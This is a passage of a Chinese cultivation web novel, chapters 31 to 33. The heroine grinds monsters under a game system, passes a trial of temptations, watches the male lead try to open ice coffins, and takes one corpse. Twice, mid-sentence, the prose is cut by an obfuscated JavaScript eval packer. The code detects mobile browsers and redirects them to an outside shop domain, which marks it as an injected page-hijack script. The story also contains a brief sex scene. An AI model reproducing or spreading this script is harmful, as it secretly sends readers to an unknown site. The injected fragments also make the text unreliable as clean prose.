[掉落物品:鹿妖角×2、鹿妖核×1] 鹿妖寿命长,年年生的小鹿被狼群差不多消耗殆尽,滕棠也找不到几只。 她歇息时,望到那群狼在和豹妖争夺地盘,附近的鹿羊兔妖等东奔西窜,区域边缘的妖兽乱成一团。 滕棠灵机一动,心想这可是难得的好机会,到嘴边的经验值不吃白不吃。 两把弯刀并在一块,像鸟一样飞向沙土纷纷的斗争地。 豹妖23级,面对一群团结的20级狼,刚开始占上风,后面架不住狼群团结且数量众多,渐渐败下阵。它想退回自己的地盘,但狼群堵截身后,让它无路可退。 滕棠见它们斗得又狠又快,赶忙御使飞刀向下,不断划过豹妖的头。 嘶吼声在远处响彻天际,滕棠的飞刀被甩到一边地上,她见豹妖性命快丢,狼群撕咬猛烈,于是费力地操纵弯刀浮起来,扎进豹妖的喉咙,补上最后一击。 [斩杀23级豹妖,经验值+9999……] [温馨提示,玩家距离太远,无法自动捡拾掉落物品。] [恭喜玩家升至13级!] [获得升级奖励:+4000中品灵石。] [警告!系统欠债:-9968中品灵石,无法维持游戏运营。热血岁月即将倒闭关服,倒计时22天13小时!] 这样的好运,简直跟中彩票一样,滕棠原打算在狼群围捕猎物时补刀的,方才竟遇到难得一见的地盘相争,让自己坐收渔翁之利。 她点开自己的角色信息,发现这只豹妖给她加的经验颇多,还差一小段到14级。 如果这样的争斗再来几次就好了,她这么期盼着,一边刷同级小妖兽,一边望着远处的妖兽。 然而凶兽之间,通常界限分明,地盘划分得很清晰,互不打扰。滕棠刷了十天的小怪,也没等到一次争斗,偶尔大怪出来觅食,运气好能补个刀,运气不好,什么也没捞不着,白费力气。 眼看离系统倒闭还有十二天,自己的经验值还差大半到15级,滕棠暗自心急。算了算,她至少要在十二天内斩杀30只14级的小妖,或者斩杀2只20级的妖兽。 大树的位置偏远,离鹿妖群最近。鹿妖中,已经没有低于18级的小妖,剩下的奔跑速度都比飞刀快。 滕棠打一只19级、速度不快的妖兽,胜算很大,但这片区域的妖兽都是成群结队的,且草地平坦,她若过去,那些豺狼虎豹发现她的几率很大。 无奈之下,她把目光放在对角线另一头的水域,那儿密密麻麻一片绿色,应该有很多等级不高的妖兽。 想要绕过去,走中间是不行的,得从旁边绕。借着草丛和树木的遮掩,滕棠悄悄滑下树,匍匐或四肢着地,缓慢地挪过去。 边缘地带多是虫怪,少有妖兽聚集,滕棠一路上小心移动,心脏砰砰直跳,生怕遇到什么高等级的怪,或者引起中间凶兽们的注意。 她每一步都很谨慎,加之有等级标识的存在,能观察附近的情况,这一路还算顺利。 从鹿妖群到湖水那边,滕棠不休息,花了一天半的时间,才爬过去。 她擦擦脸上的汗,爬上面前的树,眼睛晶亮地发现,远处湖水内的鱼怪等级都在10级上下。 数量这么多,升15级不是难事,何况湖水面积不大,飞刀游走时,说不定能打出群体伤害。 如果她一开始出现在这附近,该多好。 口水从嘴角流了出来,馋的不仅是经验值,还有鲜美的鱼肉。滕棠摩拳擦掌,立马操纵着两把飞刀,嗖地钻入湖中,朝那些等级标志游去。 一片红色的伤害值在湖面升起,系统的提示在脑内嘀嘀响,滕棠产生一种用网捞鱼的快乐感。 若是能吃到嘴里就好了。遗憾的是那儿有几只23级的凶兽待着,长着獠牙棘刺,她不敢贸然过去。她斩杀的那些鱼怪,都被这些凶兽吞入腹中,看得她很气。 经验值蹭蹭直涨,滕棠觉得系统的提示音悦耳极了,她盘算着一只妖兽加的经验值,以及这片区域的凶兽数量。 [恭喜玩家升至15级!] [获得升级奖励:+6000中品灵石。] 这次没再提醒系统负债,滕棠停下飞刀,看向财富栏,是正的32中品灵石。 她长长松了口气,但心里的大石头还没完全放下,系统不倒闭只是暂时的,要是扣一部分拿去维持运营,财富仍会变成负数。 她继续打渔,在心里默算,如果以她这样的模式升级,先把鱼怪慢慢清光,再逐一击破妖兽群,时间怎么也得耗费三五年,加之中间的妖兽等级不明,到底需要多长时间完全摸不准。要是凶兽发现她的存在,连同其他的追捕她,自己的小命便呜呼成土。 滕棠望向阵心中央的石柱,思索一番,决定厚脸皮走捷径,升16级买强制召唤卡,问问杀浮怎么出去。 上次被对方所救,还没来得及当面感谢,不知对方被结契后是什么想法。她也很匪夷所思,为什么系统会自动结契,而不顾她本人的意愿。 滕棠御使着飞刀继续杀鱼怪,为自己的修行进度感到忧愁。 耗在这危险的地方,只打怪升级,不闭目专心盘坐修行,等出去时恐怕已经人老珠黄了。 15级的系统灵力,完全足够她用,缺点是自己经脉堵塞,灵根细弱,如同大海流向沟渠,储存的水量再多,怎奈通道狭窄,一时使不上太多。 枯燥地杀鱼怪到第七天,滕棠天天刮痧,把一湖的鱼消灭八成,终于升到16级。 [恭喜玩家升至16级!] [获得升级奖励:+5000中品灵石。] 领取奖励的五千中品灵石后,滕棠立刻花费了300买强制召唤卡,另外花了1000买灵宠复活丹。 看着灵宠栏由灰变彩的九色猫,她嘴角弯了弯。 点开伙伴栏,滕棠的目光在那位叫万象的强者名字处,停留了几秒,很是犹豫。此人虽强,但召过来不一定会帮她。 想了一会儿,她还是召唤的杀浮。 [您对伙伴杀浮使用了强制召唤卡,因伙伴状态原因,限时1分钟。] 仅片刻之后,滕棠蹲在树上,就等来了那位叫杀浮的大佬。 杀浮甫一出现,就卡在树枝之间,好不尴尬。 被枝叶挡住视线,滕棠伸手拨开,看到一张有些熟悉的脸,愣了半晌。 他一身白衣,颇有仙人风范,黑发被一根青巾随意束起,脸型方正,看着十分正义,独独那双眼睛狭长,眸色冰寒,以及抿成一条线的薄唇,让她无端想起凌云来。 仔细看,好像又不像。 “我能出现多久?”杀浮问。 滕棠登时反应过来,发什么呆,时间不等人:“跟上次一样……” 杀浮好似知晓她有急事相求,她话还没说完,就伸手过来,仗着身高的便利,拎起她的后衣领,老鹰捉小鸡似的,将她带到半空中。 下方的凶兽发现他们,具在嗷唤嘶吼,尤其是中间的,这次滕棠看得清楚,竟是一条九头蛇。每一个头上都有等级,最高的有四十二级的,吓得她大气都不敢出。 感谢老天,没把她丢在中间送死。 “你打不……”滕棠刚想说:我们撤吧。 杀浮却突然拎着她往下落。 滕棠捂住眼睛,脑中浮现一张他们被九头蛇吞下的画面,冷汗直冒。 一阵威压从天盖地,整个区域内的凶兽忽然变得温顺乖巧,全伏在地上不敢动。连那九头蛇都放下身子,低垂脑袋瑟缩到一边。 滕棠放下双手,震惊地看着这一幕,转过头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032690|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗中琢磨她这是结契了什么乐善好施的大佬,看这面相,神似电视剧里的正义大侠。 1分钟的时间极其短暂,上次杀浮未能在沙子上写完嘱咐的话,这次的时间仍不足够。 他一掌打在中心石柱上,把滕棠扔下去,道:“见宝物勿取,遇美色勿贪,得秘法勿用,逢传承勿试,死门内每一物皆有试炼,你若想安稳出去,走最简陋朴实之道,至虚无门……” 天上的人说到一半,须臾消失。滕棠落进石柱开出的漩涡内,遗憾于未说出“多谢”二字。 她见此人便觉亲切,不知是不是因为对方长得太过正直,又两次出手相救。 离开那片妖兽境域,滕棠这次落进水中。 她游出水面,爬上圆台,见圆台连接着几条路,每一条路都不相同,有豪华全金石做的,有灵白玉铺的,有香檀灵木砌的……一共八条,通向八个方向,似乎很遥远,前面白光强盛,什么都看不清。 她牢记杀浮的话,走向最简陋的一条泥道。 两步踏出去,身后的圆台以及其他七条路全部消失,只剩下水,面前的泥道长长的,要走很久。 滕棠行了半个时辰,面前的路忽然大变,一截香檀灵木做的,一截金的、一截玉的……她惊疑不定地往前走去,道路两旁的水中一左一右升起浮台,左边是一把灵木剑,右边是个风度翩翩的美男。 明月八角塔的塔主肯定下了什么法术,一左一右看得滕棠心脏狂跳,手不由自主地想去拿剑。 她甩甩头,凭着精神力清醒过来,无视两边的私语,往前又踏一步。 左右再次立起浮台,这次的人或物比刚才的还诱人。 滕棠道了句“会玩”,默默地继续走,越走她心越难耐,到第四截,她发现她差点就跨过去,取浮台上的一根灵髓。 前面还有三截华美精雅的路,滕棠顿时止步,捂住耳朵,默背杀浮对她说的话。 压制住内心的渴望,滕棠捂住狂跳的心脏,目不斜视地往前走,自言自语道:“不要看不要看……” 在第七截纯白的石砖上,巨大的吸引力,使得滕棠忍不住扭头。她两手掰住自己的脑袋,一直重复杀浮的话,或提醒自己不要看。 奈何阵法自带强大的诱惑力,且这后面的人或物都跟有意识似的,不断跟滕棠说话。 滕棠捂住耳朵,正当要提脚往前走。忽然她的头被右边的美男勾过去,对方朝她明晃晃一笑,问:“你怎么不肯看我一眼?” 就是这么一勾,让滕棠放下双手,差点就要跟美仙男双宿双飞。 得益于对方多嘴一句:“随我蹉跎时日,随心所欲而为。” 滕棠顿足,感到非常困惑,怎么能蹉跎光阴呢,她还嫌时日不够多,每日不遑宁处,仍有许多事未做。 “不不不,不行。”滕棠摇头拒绝,甩开他的手。 “为何不行?”美男哀伤地望着她,瞧得人心碎不已。 “大家都在卷,我必须更努力才行。”滕棠头有些混乱,美男身上的香气熏闷,令她很不舒服,胡言乱语道:“要赚很多钱报答院长,房子也没买……” 她摇摇头,坚定地往前踏去,神识忽地清明起来。 身后的美男还在挽留她:“人生苦短,何不与我快活逍遥。” 滕棠皱起眉,回过头,不再有刚才那种被迷惑的神情,对他道:“道不同不相为谋。我要当仙女,才不与你苦短,便是苦短,也要尽力充实而活,虚度光阴可耻。” 四十之前筑基,三百年左右结丹,一千岁内结婴……每一日都需要她珍惜时间,潜心修行,哪里经得起浪费。 滕棠重回泥道,暗想幸好被那男傀儡勾去注意力,而没看另一边的宝物。她对人或许能忍住心动,对物就不一定了。 即使现在离开了那几截不同的路段,她也不敢回头往左边看。 物欲心重者,抵御诱惑时万分困难。明月八角塔乃是仙器,其塔主必定不凡,把宝物放在她这种土狗面前,很容易就把手伸出去了。 滕棠保持目不斜视,低着头往前走。 泥路又走了一个时辰,前面出现一块方台,上面有道门,门楹上书:虚无门。 杀浮说的话便是在此处中断,后面该怎么办?直接推开? 滕棠犹豫着走上前,身后泥路消失,现在一条路都没有了。她站在门前,过会儿又走到边缘处拂了拂水,台下深不见底。 看样子,只有推开这扇门才行。 隔着两步之远,滕棠御使两把飞刀插进门环,往两边拉。 嘎吱一声,白色的石门打开,滕棠谨慎靠近,发现里面什么也没有…… 她一凑近,强大的吸力将她拉下去。脸皮被风吹得生疼,滕棠不断往下坠落,眼见离黑色的地面越来越近,她连忙使出浑身解数,把灵力抽出来托起自己的身躯,以免摔得太惨。 虽没有筑基,但是她的灵力已经比筑基者多好几倍,慢慢地汇聚在下方,片刻后降低了她的落速。 须臾后,滕棠咚地落在地面,闷哼一声,缓过劲后爬起来,发现自己处在一片昏暗的环境中,上方的明珠遥远,致使这儿光线很弱。 但此地一点都不冷,甚至热得人冒汗,仿佛又回到那个叫炼狱迷宫的地方,被黑色火焰包围。 32. 第 32 章 这是什么地方…… 视野昏暝,凶兽的悲鸣从四面八方传来,她站在一个巨大的方块上方,遥望远处。数不清的大小方块整齐排列着,乱中有序。 滕棠走至边角,低头往下探,方块之间的缝隙又宽又深,下面是密集的铁柱,里面链条铛铛作响,有只瘦骨嶙峋的凶兽正暮气沉沉地趴着。 聚灵力于足尖,滕棠跳下去,在方块的缝隙间翻了个滚,站起来时,发现这些方块都是巨大的牢笼,里面困着的凶兽要么已经化成白骨,要么时不多矣。 这么多笼子……到底关了多少只。滕棠带着疑惑,向四处走动。 阴暗的地牢嘈杂喧嚣,牢笼间的路或宽或窄,几乎都一个样。滕棠探索近半个时辰,完全迷失在错综复杂的缝隙内。 站得高看得远,还是爬上去找路更为靠谱。滕棠攀上一个白骨笼子,顺着青铜灵柱攀爬。 或许是这具身体缘分使然,滕棠爬到一半,忽然听见怪异的风声,随后熟悉的声音响起:“阿斓丫头,这便是我说的那座地牢。过炼狱迷宫死门,方能抵达此处。” 滕棠一惊,龙傲天怎么会在这儿? 转念想想也对,他可是主角,重要的地方或者有机缘的地方,他不可能不在。 眼看上方两人离她位置越来越近,无奈之下,滕棠滑回去,找了个阴暗的角落躲着,尽量收敛气息。 上空的明光很弱,一头火红色长发的男人光着臂膀,拉着一位红衣女子飘然落在滕棠右前方的牢笼上。 他们举止亲密,互相扶稳后,红衣女子倒入他怀里,欢喜道:“龙师兄怎么找到这个地方的?我们多来几次,岂不是能把仙塔的宝物都拿走。” 龙傲天把前额的红发捋到后方,似是想起什么不怿之事,语调忿忿不平:“若不是我偶然发现能通过塔主虚影打开地牢炼狱,这里面的东西还被祥天门占着呢!” “祥天门?”紫衣女子诧异,望着他等后文。 龙傲天摸了下食指的神戒,徐徐将自己的经历讲述出来,说他在第三阵与塔主对手时,误打出开阵印,然后被送进炼狱迷宫之中,远远看到过祥天门的长老带人寻宝。 他跟着冒险进入死门,运气好荣获至宝,出来时就在这地牢内,得知到祥天门的大秘密。 “我方才带你走的生门,并无危险,取的那些东西都是不起眼的。真正的宝贝在死门内。祥天门老祖李孚骅贪婪无厌,得千魔傀仙法后,将门派内稍有天赋者控制住,连血亲都不放过。” 龙傲天环顾四周,声音变小了些:“祥天门整个门派如此团结,不为别的,他们内门大部分都已变成魔傀,为李孚骅效劳。这地牢内,有一处法阵,放着三座冰棺,里面皆是天纵奇才者,我带你来,便是想试试能不能打开其中一封。” 左后方的滕棠支起耳朵,仔细听,碍于地牢太过喧噪,听不完整。她皱起眉,很想接近,但被发现的风险太大。 “哪一封?”红衣女子问。 “李孚骅之孙女李偲缨。” 龙傲天神情怅然,叹气道:“龙性本淫,我必须熬过发情关,才能更上一层。父亲不知所踪,留我一枚竹简,写有度关妙法,若与变异灵根冰灵根的女子交合,可延长发情期,若炼化一冰灵根纯阴之体,化丹服用,能压制发情之苦。” 红衣女子听罢,皱了皱眉,显然对此事不喜:“这……” “阿斓丫头,你会帮我对么?”龙傲天捧起她双手,信誓旦旦道:“有了冰灵根的纯阴之体,我那发情本性便能化解,与你真情实意地在一起。” 说着,龙傲天就要亲她。 红衣女子羞赧地推开他,打在他肩上:“我帮你就是了。” 龙傲天露出满脸喜色,抓着她的手亲了亲,开解道:“那李偲缨的神魂被李孚骅抓在手里,吸取天道气运,冰棺里头的与一具死尸无异,你不必担忧会遭心魔天谴。” “如此便好。”被称作阿斓的女人长松一口气。 滕棠在附近听了个大概,虽看不到那二人的行为动作,鸡皮疙瘩仍冒起一堆。这男主的后宫可真多啊,才几个月不见,阿斓又是从哪里勾搭的。 滕棠小心翼翼地尾随在他们身后,蹑手蹑脚地,隔着几个方笼偷看。她不能靠太近,隐约想起,伏火宗的衣服就是红衣女子身上那样。 伏火宗只收有火灵根的人,门内弟子皆穿红衣,比较好辨认。 偷偷跟了一路,四周的笼子越来越大,间距也开始变大,滕棠不好躲避,于是离得更远,看他们二人要做什么。 来到几方巨笼附近,滕棠伸长脖子瞧去,黑暗炙热的地牢之中,龙傲天那边有处空地,呈圆形,内里凹陷,地上似乎刻了阵法。 在凹陷的圆盘上,三封晶蓝的冰棺头对尾放置,形似三角,但三个边长短不一,都是根据尸身身材打造的。 冰棺上的等级标识显示的问号[?]。 只见红衣女子看守在外,龙傲天取戒指中一个墨色宝盘,在阵边双手变幻掐诀。他神情专注,手中紫雷迸发,在黝黯的环境中劈里啪啦地响。 主角的修炼速度竟然这么快!滕棠惊讶。 上次见还是筑基一层,今日头上的等级显示[13级],这几个月是开了火车吗?泡妹一把手,还能有时间修行,滕棠佩服不已。 没一会儿,天上的明光闪烁,落下一个透明如泡泡的球,没入阵中。滕棠霎时觉得地面摇了下,便伸手扶住旁边的白玉柱。 圆盘阵法开启,光幕散去,龙傲天和阿斓走向最短的那封冰棺,两人对视一眼,双双运转心法,化灵力为雷火向冰棺打去。 他们一边融化冰棺,一边警惕天空或四周,提防祥天门随时可能来的人。 估计祥天门没料到有人会通过炼狱迷宫进入地牢,就算抵至地牢,也不会去动三个被阵法保护的冰棺。除了驭尸门,哪位修者会去打尸体的主意? 何况这阵法乃塔主所布,寻常人参不透,极大可能被永生永世困在此处。 滕棠静默不动地观看他们所作所为,心道修真界果然残酷。这叫李偲缨的,明明是个修仙天才,偏被爷爷抓去神魂,吸走天道气运,后又被龙傲天盗取尸身,欲炼化成丹。 人为财死鸟为食亡,人都是自私自利的,为了自己,还真是什么事都做得出来。 那边两人烧了半天,冰棺没化一分。龙傲天脸色难看,对阿斓似乎说了什么。 滕棠离得太远,附近凶兽吼叫声很大,她完全听不清,只看得到阿斓的脸很红,不知是不是费力太多,累到了。 片刻之后,滕棠才明白,阿斓为什么脸红。 那二人忽然褪去衣服,看得滕棠一愣一愣的,地牢虽热,却不至于脱衣服吧? 龙傲天把阿斓压在冰棺上,笑了下,就把头埋下去。紧接着,二人开始旁若无人地上演活春宫…… 滕棠直呼要长针眼,一边看一边嘀咕:“在人家棺材上,你们不膈应么……”她搓了搓两只手臂,想起前世看的那些鬼片,心里发毛。 男主身上有龙鳞,动情时半边身子都翻起红色鳞片,血管经脉赤红晶莹,远远一瞥,不知道的还以为是块发光的红宝石。 那叫阿斓的女子也很奇异,在和龙傲天合体时,身上红纹满布,发尾燃起火焰,头上的等级时常从[11级]变成[15级]。 他们彼此不分开,十指交握,额头对额头,不一会儿冒出一团赤红的火焰,和一金紫交加的雷团。 火焰和雷龙纠缠在一起,像蛇似的把冰棺盘住,周围生起阵阵白雾。 不知看了多久,滕棠瞌睡都快看出来时,他们总算结束。 “我累了,龙师兄,明日再来吧。”秦阿斓舔着唇道。 龙傲天抚摸着她的脸,轻笑一声,亲昵地给她穿起衣服:“我打听过,明日祥天门有三位长老要外出,恐怕是要进炼狱,过几天再来。” 两人从冰棺上起来,龙傲天拿了某物在冰棺上涂涂抹抹,不一会儿,冰棺恢复原样。他拉起秦阿斓的手,兴奋道:“行得通。” 滕棠一个字都听不见,只看得到龙傲天抱起羞涩的美女,踏过几块阵内石头,跳进三个冰棺中间,消失在阵内。 滕棠精神一振,赶紧跑过去,在光幕快消失时,翻滚进阵内。 那二人已经看不见踪影,空中留下一股怪味。滕棠掩鼻,发现自己被困在圆盘内,出不去,阵法光幕已重新升起。 她记住踩阵顺序,学起龙傲天的步伐,一一踩上阵内方位,在须臾后看到三角冰棺中央,那个黑压压的地道时,笑了。 滕棠走到冰棺处,瞧了瞧,两边长的,是一老一少两个男人,长得很像。短的那封,应该是龙傲天说的那个李偲缨。 这一看,不得了,又是个大美人。 她在修真界见到的、长得不差的美女,都和龙傲天或多或少有关系。鹿焰宗的鲁酥酥、徐扉罗,包括冰冰冷冷的凌云、丰腴妖娆的陆椛,以及刚才曲眉丰颊的阿斓,相貌都是上乘。 “龙傲天应该不会拿你炼丹。”滕棠小声道,凭这长相和身世,多半是龙傲天后宫之一。 都是命苦的女子…… 滕棠左看右看,发现冰棺和地面的阵法是相连的,有阵法的桎梏,冰棺移不动,难怪龙傲天费尽心思想打开。 她凑上前,忍不住伸手摸了下冰棺,冰寒刺骨。 [恭喜玩家发现低级宝箱!开启低级宝箱需要购买低级钥匙。‘点击购买’] 突如其来的系统提示吓了滕棠一跳,被第三死门内的凶兽弄得神经敏感,还以为自己又被哪只妖兽盯上。 仔细一看,竟是难得的好消息。 以前游戏里是有挖宝活动的,买几个挖宝铲,在世界地图到处挖,有几率获得稀有物品。和这个世界融合后,这个活动就不见了。 这宝箱能开么……滕棠疑虑重重地看向三封冰棺,她接二连三地摸过另外两个,不意外收到同样提示。 开还是不开,开哪一封,这是个问题。一把低级钥匙价值3000中品灵石,她现在统共只有三千七百多。 滕棠走回那叫李偲缨的冰棺旁边,低头看向这个脸色苍白的女子,暗想,把她身体放背包里肯定不会被人发现。 她和龙傲天本身不对付,既然龙傲天想要,那她就先抬走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032691|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,气死他。 不能让种马渣男祸害如此美丽的姑娘。 滕棠心存目想之后,当即花费三千中品灵石,买了把珠光宝气的钥匙,点击开启。 呼——,白雾腾腾升起,冰棺嘎吱一声,在地牢内十分刺耳。 滕棠谨慎地后退一步,探头往中心看,李偲缨的冰棺盖已经打开,里面的人转眼消遁。她脑子里收到系统提示: [恭喜您!开出罕见女尸1具!]字体是最豪华的彩色,令滕棠有种如获至宝之感。 但这是尸体……滕棠高兴不起来,甚至有些毛骨悚然。 [提示!该女尸体内有其他人种下的魔傀丝,受他人操控,是否清除魔傀丝?是,否。] 什么鬼。 滕棠点击[是]。 预料之中,事情进展没那么顺利,一切都和钱挂钩。系统跳出一个方框,下方的价格使她瞠目结舌:[清除魔傀丝需要消耗10枚中级解控丹,点击购买。] 1枚价值100上品灵石,而上品灵石滕棠到现在,连看都没看到过。若换算成中品灵石,10枚解控丹,需要一百万…… “依我看,女士您还是在我背包睡觉吧。”滕棠苦笑一声。 打开背包,在格子的最底下找到李偲缨。格子显示的她闭眼大头像,惨白一张脸在滕棠脑海中央浮现,瘆人得很。 她赶紧点击[查看详情],越过那张白惨惨的死人像,见上方几排写着:[李偲缨,女,无神魂,变异单冰灵根,纯阴之体。(体内有魔傀丝亟待清除)] 滕棠唉了一声,关闭系统界面退出来,望向另外两个完好的冰棺,抱歉道:“另外两个兄弟,不是我不带你们出去,实在是我太穷,没钱了。” 即使带出去,没神魂的尸身,除了占背包格子,也没什么用。她又没那种把人炼成傀儡的恶趣味,先把李偲缨带走,断断龙傲天的种马之路。 滕棠按顺序再次踩开中间的通道,换上系统打造的[初级·暗影]套装,穿着一身白光微动的紧身黑衣离开阵盘。 白光一闪,滕棠以为自己又会出现在什么奇怪的地方,站稳后,发现自己正站在明月一城的入口,和当初从鹿焰宗角门进来时,位置一样。 她深呼吸着前方街道上的灵食之气,口水差点流出来。天知道在下面过的是什么日子,每天担惊受怕,食不果腹。 炼气期的她能活着出来,实属不易,可以说是奇迹了。 如今和祥天门结下怨仇,这么大大咧咧地行走,肯定是不行的。万一被陆椛得知,她肯定还要被追杀一次。 滕棠找了家最近的衣饰铺,买了几张面纱,穿戴完毕,才赶往朝试炼之地。 路上免不得想起凌云来,虽只相处了几日,但对方的恩情太重了。不止那几千灵石未还,还有性命之恩,如何还得了? 滕棠一想到这件事,心情就沉重了些。 陆椛、李婪深……她一定要报仇雪恨。 快速过了第三阵的塔主虚影,滕棠来到第二层的明月二城,把背包里的低级怪掉落物卖掉。 她这满满当当的背包内,九成是虫怪的掉落物,什么五节虫的筒管、绿硬蚯的粘液……总之交给铺子主人的时候,对方脸色不太好看,估计以为她是个虫修。 “客官,这些适合制毒,少有人买,价格不会太高。” “行。”滕棠无所谓地点头道。能卖多少卖多少,放背包不仅占空间,还影响她胃口。能换灵石就行,她现在不管干什么都需要氪金。 每样东西价格不高,胜在数量多,加上那条20级蛇妖的掉落物,滕棠一共卖了六十块上品灵石。 若是在几个月前,她一定觉得这是笔大款,现在开了点眼界,心道连买一枚中级解控丹都不够。 在易宝阁卖完东西,滕棠进了一家客栈,在房内布置好阵,防止被人打搅。 这笔钱足够她打造[初级·饮血]套装,增加战斗力。副武器飞刀已经升级为[饮血·飞刀],主武器和剩下的十个格子还没有升级。 滕棠花费了一半的财富值,买了一堆血石,开始逐个熔合进旧套装中。 在锻造界面,两把锤子不断敲击物品,上方红色的石头坠落,和装备熔合在一起。整个过程十分快速,不出一会儿,滕棠就把所有装备升级完成。 她全部穿上,站起来对着房间内的水镜照。 镜子里的女子清丽纤细,穿着一身暗红色的衣服,腰上和足边偶尔冒出红气,莫名邪异。 好看是好看,但这么穿着走出去,肯定会被认为是魔人。 滕棠可惜地摇摇头,又点开自己的武器。 半米大刀升级成饮血套后,不仅变得更加厚重,还长了半米,现在是一米大刀。刀背是黑色的,由黑到红,慢慢过渡渐变到刀锋。刀身的流光特效还在,微弱地偶尔闪过。现在升级后,增加了饮血特效,刀尖上每隔三秒滴落两滴暗红的血液。 这反派邪魔味道十足的套装,看得滕棠又喜欢又无奈,她敢穿出去吗?她能穿出去吗? 修真界和魔族向来不对付,她在明月八角塔这么打扮,是要被抓去坐牢的。 33. 第 33 章 她倒是想一举升级,直接打造下一阶段的套装[绯烈焰],然而还是那个问题,钱不够…… 二字套装是初级套装,三字套装是中级套装,打造[绯烈焰]需要购买[浴火·火焰石],一块价值10上品灵石,打造主副武器要2000上品灵石,全套要7000,完全买不起。 滕棠提着暗红不详的大刀,穿着妖异的衣服,脸不红心不跳地对镜子念道:“臣服于我吧!你们这些罪人,我的刀会把你们的血饮尽,让你们成为我刀下亡魂,饮血狂暴!” 呵啊!噼呲——噼呲——。 七分诡异、两分焦脆、一分刺耳的技能音效,在房间内响起,水镜被一分为二,啪地一声炸成碎片。 滕棠腰上和足边的红色气体快速旋转,手中的大刀刀尖鲜血滴落,流光特效发红,怎么看怎么鬼魅。 “忽然想当反派。” 滕棠忘不掉刚才镜子里的自己,台词虽然中二神经病了点,但这套套装是真的很有气势,把她那张柔柔弱弱的脸都衬得有派头了。 随便往人群里一站,定是个英姿飒爽的女魔头。 “可惜,我现在在明月八角塔内,是个正派弟子……”滕棠惋惜地摇头。 她卸下套装,换上门派的服饰,盘起腿,开始席地打坐。已是大半年没有修行,这么一拖,筑基的进度又落下了。 短期目标时限已过,她并没有在这具身体18岁的时候完成炼气四层。接下来的时间,她必须紧赶,在一年内修至炼气四层。 滕棠深呼吸一口,闭上双目,开启不断重复的、大周天加小周天的循环练习。 修炼的过程,不仅枯燥无味、乏闷至极,且非常痛苦。一介凡人想要把肉身凡胎脱去,换成灵体,需要日复一日,一点点把灵根中的灵力炼成灵肉。 灵力从灵根中提出,经修者运转,先是冲刷主骨,从丹田向四肢循环流动,绕大周天,再通过各经脉进入血肉,更细微地绕小周天。 把凡肉脱去,换成灵力之体,这个过程好比用针寸寸将肉挑掉,缝新的肉进来。绝大多数修者难就难在此处,非超强意志力,或者绝佳天赋,少有人做到坚持不懈地修炼。 滕棠这次修炼,特意引出识海的精神力。 她发现用精神力引灵气修行,不仅速度更快,且效率更高,还有个好处是,这样能稍微锻炼她的神识。遗憾之处在于,精神力不能耗费太久,否则后果就是头晕眼花,什么也干不了。 万事讲究一个度。 滕棠心里明白,因此偶尔疲惫时,会闭目躺床上睡觉。 每月限购的强制召唤卡,越屯越多,在存到第六张时,她爬塔升层,至第五层的妖魔森内,点开岑羽的头像,试图强制召唤。 嗒——,一枚缺角的鳞片出现在她面前,重重地砸地上发出声响。 滕棠拾起来,用袖子擦拭,不知岑羽能听到与否,自言自语道:“今日和明日我召你三次,每日一个半小时,尽量给你升级补充魔气。” 话毕不再浪费时间,握着岑羽的魔鳞,开始疯狂刷怪。时效过了,她就找安全地带修行打坐,然后等第二天的三次召唤机会。 两天过去,她欣喜地发现,岑羽能凝结出魔身。可惜还没说两句话,那人就嘭地被送回去。 “你帮我注意龙傲天的动向,尤其是他手上的不死神戒。”岑羽低沉道。 “不死神戒……”滕棠可不止一次听说这个东西。 既然这个戒指对魔族如此重要,当初穿来遇到两个的魔人想要,凌云想要,岑羽也想要,她又没有报答的途径,不如就用戒指报答吧。 反正那戒指是龙傲天捡的。 凌云和云令之死,滕棠一直没解开心结,总觉得是自己害死了他们。 一日复一日,滕棠在明月二城的这家客栈待了很长一段时间,久到头发都长到臀处。伙伴栏里的岑羽,等级已经从[0级]变成[12级],离原来的[22级]还是差得远。 这日,她睁开眼,吐出一口浊气,精神焕发。 天天像个疯子一样修行,熬着熬着,就到炼气四层了。 精神力的增长,比灵力的修行还要困难百倍,她时常坚持引出来协助修炼,在一年后,那一丝仅长了一丁点。 滕棠从地上起来,算了算,如今这具身体有19岁了,要想在三十岁之前筑基,依旧很困难。 不行,还得苦熬。 她掐了个口诀,在空中变幻出一面水镜,摸着脸颊道:“不能白白浪费这么漂亮的脸蛋。” 储物袋的食物已经消耗空了,滕棠推开房间门,向楼下小二走去。 她在这家客栈待了一年,那小二自然记得她,凑上前去:“姑娘可是需要食物?”忽而他眼睛一亮,双手抱在一起祝贺:“恭喜姑娘,这么快就到炼气四层,速度令我汗颜。” 她这算什么,龙傲天那才叫快。 滕棠在装食物的时候,跟他闲聊了一会儿,倏然听小二问:“雾蓝秘境马上要开启,各门派弟子都在争名额,姑娘你不回鹿焰宗参加么?” 小二看到她领口的灰鹿,又道:“以姑娘的年龄和实力,在炼气期也是有机会的。” 滕棠露出尴尬的微笑,不是她不参加,是她不知道啊…… “雾蓝秘境是什么?”她不好意思地问。觉得自己像个白痴一样,没有原主的记忆后,对这修真界的事更加文盲。 小二惊奇地仰后,瞪着眼睛道:“雾蓝秘境……那个百年一开,有着无数天地珍宝的秘境,你不知道?它就在你鹿焰宗百里之外的山上,里面灵气精粹,很多人进去后实力大涨呢。” 